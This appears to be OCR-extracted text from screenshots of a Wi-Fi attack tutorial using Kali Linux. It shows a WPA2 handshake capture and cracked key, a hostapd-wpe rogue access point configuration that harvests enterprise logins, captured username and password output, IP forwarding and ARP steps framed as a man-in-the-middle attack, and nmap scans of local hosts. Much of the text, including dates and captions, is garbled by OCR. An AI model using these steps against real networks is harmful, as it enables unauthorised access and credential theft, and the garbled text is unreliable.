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File Edit View Search Terminal Help

CH 11 ][ Elapsed: 6 s ][ 2020-87-29 ©5:28

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

AA:F9:C7:5C:E4:28 -47 7 L] e 3 360 WPAZ2 CCMP PSK HOME-WIFI

R F 4 (SR FEANEEE)



Elapsed: 1 min ][ 2020-87-29 85:35 )J[ WPA handshake: AA:F9:C7:5C:E4:28

PWR RX(Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

:5C:E4:20 -17 96 2 155 2 3 368 WPAZ2 CCMP P5K HOME-WIFI

STATION PWR Rate Lost Frames Probe

AAIF9:CY:5C:E4:20 D4:3B:94:AD:EE:13

WAl CHERRD

[eB:86:88] 5/5 keys tested (1813.58 k/s)
Time left: @ seconds 160.00%

KEY FOUND!

Master Key

Transient Key

CLT:

EAPOL HMAC

WiFi: HOME-WIFI

KEY : 97531.....
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sudo vim /etc/hostapd-wpe/hostapd-wpe.conf




kali@lali: ~ L

(B) EARMV) WEH)

interface=wlan@

eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ca_cert=/etc/hostapd-wpe/certs/ca.pem
server_cert=/etc/hostapd-wpe/certs/server.pem
private_key=/etc/hostapd-wpe/certs/server.key
private_key_passwd=whatever
dh_file=/etc/hostapd-wpe/certs/dh

ssid=0FFICE-WIFI
channel=1]

eap_server=1
eap_fast_a_id=101112131415161718191alblcldielf
eap_fast_a_id_info=hostapd-wpe
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with "pa rd . txt".
blc
ebl
brz

aername: Aaaa
passowrd: braxxxx
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/proc/sys/net/ipv4/ip forward wa H N “q”

I, AP BRE .

kali@kali: ~

JCHE(F) F(A) 4wWiE(E) EA(V) #HEINH)

:~$ cat /proc/sys/net/ipv4/ip_forward

~$ 1

ROBCH M IP W OOk s T B H # . Ping - arp -
25, RIFMHTHREAM, IHETURGEZELE, #—BHE HK
o apr -a

oem@kali:~/[
bogon (192.168.43. 1931

bogon (192.168.43.127) a’E 4a de: 9a 98: d? 68 [ether] on wlxfc3d93b99b3a
oem@kali:- ap-master
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File Edit View Search Terminal Help

Nmap scan report for bogon

Host is up (0.028s latency).

Not shown: 999 filtered ports

PORT STATE SERVICE

1080/tcp open socks

MAC Address: D4:3B:84:AD:EE:13 (Unknown)

Warning: 05Scan results may be unreliable because we could not find at least 1 open and 1 close
d port

Device type: specialized|general purpose

Punnlnd (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (87%), FreeBSD 6.X|18.X (8

US CPE: cpe: icrosoft:windows x :5p2 cpe:/o: freebsd freebsd:ﬁ 2 Cpe: o:freebsd:freebsd:18.3
Addre551ve 0 : icrosoft Windows XP

No exacT 05 matches fdr host (test conditions non-ideal).
Network Distance: 1 hop

Nmap scan report for bogon

Host is up (0.000030s latency).

All 1000 scanned ports on bogon (192.168.43.90) are closed

Warning: 05Scan results may be unreliable because we could nmot find at least 1 open and 1 close
d port

Device type: phone|general purpose|webcam|storage-misc

Running: Google Android 2.X, Linux 2 x, AXIS embedded

:210a | ! :/h:axis:211 network camera cpe:/h:zyxel:nsa-210
DS details: Android 2.2 (Linux 2.6), Linux 2.6.14 - 2 6. 34 Linux 2.6.17, Linux 2. 6 17 LHandrlu
Linux 2.6.32, AXIS 210A or 211 NeTwork Camera ( A -
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B S C # 3 X O H B8 O om &K, passive
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middle attack) .
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@ List

channel filter

B CN

MAC: 54:b_.__.__.._:4b
Freq.: 2437 (ch: 6) (w: 20Mhz)
WPA2 RSN ESS WPS

MAC: ea: 20
Freq.: 2447 (ch: 8) (w: 20Mhz)
WPA2 RSN ESS

0

] aK

MAC: da: :33
Freq.: 2422 (ch: 3) (w: 20Mhz)
WPAZ2 RSN ESS

MAC: 8a:l n2a
Freq.: 2437 (ch: 6) (w: 20Mhz)
WPA2 RSN ESS

(9 HUAWEI Mate 2C

MAC: f4: rec

Freq.: 2412 (ch: 1) (w: 20Mhz)
HUAWEI TECHNOLOGIES CO.,LTD
WPAZ2 RSN ESS

. T
] 6Y%6

MAC: a8:. _.._.....2:34

Freq.: 2437 (ch: 6) (w: 20Mhz)
HUAWEI TECHNOLOGIES CO.,LTD
WPAZ2 RSN ESS

order: il
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